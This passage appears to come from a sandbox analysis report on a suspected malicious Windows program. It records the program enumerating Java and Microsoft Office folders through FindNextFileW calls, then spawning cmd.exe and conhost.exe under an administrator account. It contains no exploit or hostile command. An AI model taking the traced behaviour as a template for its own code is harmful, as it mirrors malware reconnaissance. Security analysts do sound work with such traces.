ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0xffffc1fe, dwReserved1=0x200, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0245.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.868] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1fe, dwReserved1=0x200, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0245.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.868] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0xffffc1fe, dwReserved1=0x200, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0245.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.868] FindNextFileW (in: hFindFile=0x60ecf0, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="Java", cAlternateFileName="")) returned 1 [0245.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4164090 | out: hHeap=0x520000) returned 1 [0245.869] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0245.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4164090 | out: hHeap=0x520000) returned 1 [0245.871] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0245.877] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4164090 | out: hHeap=0x520000) returned 1 [0245.877] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0245.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4154088 | out: hHeap=0x520000) returned 1 [0245.878] FindNextFileW (in: hFindFile=0x60edf0, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0245.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0245.878] FindNextFileW (in: hFindFile=0x60edb0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="applet", cAlternateFileName="")) returned 1 [0245.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0245.878] FindNextFileW (in: hFindFile=0x60edb0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0245.879] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0245.879] FindNextFileW (in: hFindFile=0x60edb0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0245.880] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0245.880] FindNextFileW (in: hFindFile=0x60edb0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0245.880] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0245.886] FindNextFileW (in: hFindFile=0x60edb0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0245.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0245.886] FindNextFileW (in: hFindFile=0x60edb0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0245.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41840a0 | out: hHeap=0x520000) returned 1 [0245.887] FindNextFileW (in: hFindFile=0x60e9f0, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffd721, cFileName="cursors", cAlternateFileName="")) returned 0 [0245.887] FindClose (in: hFindFile=0x60e9f0 | out: hFindFile=0x60e9f0) returned 1 [0245.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0245.887] FindNextFileW (in: hFindFile=0x60edb0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0245.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0245.887] FindNextFileW (in: hFindFile=0x60edb0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0245.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0245.888] FindNextFileW (in: hFindFile=0x60edb0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0245.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0245.888] FindNextFileW (in: hFindFile=0x60edb0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0xffff9614, dwReserved1=0x200, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0245.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4154088 | out: hHeap=0x520000) returned 1 [0245.890] FindNextFileW (in: hFindFile=0x60edf0, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0245.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.890] FindNextFileW (in: hFindFile=0x60e9b0, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1fe, dwReserved1=0x200, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 0 [0245.890] FindClose (in: hFindFile=0x60e9b0 | out: hFindFile=0x60e9b0) returned 1 [0245.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.890] FindNextFileW (in: hFindFile=0x60ecf0, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa48a42d7, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa48a42d7, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0245.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.892] FindNextFileW (in: hFindFile=0x60ef70, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa592e6b9, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa592e6b9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1fe, dwReserved1=0x200, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0245.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.895] FindNextFileW (in: hFindFile=0x60ef70, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1fe, dwReserved1=0x200, cFileName="root", cAlternateFileName="")) returned 1 [0245.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.897] FindNextFileW (in: hFindFile=0x60eff0, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0246.131] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0246.131] FindNextFileW (in: hFindFile=0x60ef30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x30b, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0246.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41b40b8 | out: hHeap=0x520000) returned 1 [0246.133] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x108, dwReserved1=0xffffb320, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0246.133] FindClose (in: hFindFile=0x60e930 | out: hFindFile=0x60e930) returned 1 [0246.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0246.133] FindNextFileW (in: hFindFile=0x60ef30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x30b, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0246.133] FindClose (in: hFindFile=0x60ef30 | out: hFindFile=0x60ef30) returned 1 [0246.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0246.134] FindNextFileW (in: hFindFile=0x60eff0, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0246.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0246.137] FindNextFileW (in: hFindFile=0x60ebf0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x30b, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0246.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0246.137] FindNextFileW (in: hFindFile=0x60ebf0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x30b, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 Process: id = "29" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x1f95a000" os_pid = "0xeb8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xea8" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001095e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 366 os_tid = 0xebc Process: id = "30" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x24272000" os_pid = "0xed4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "29" os_parent_pid = "0xeb8" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001095e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 372 os_tid = 0xed8 Thread: id = 383 os_tid = 0xf04 Thread: id = 384 os_tid = 0xf08 Thread: id = 385 os_tid = 0xf0c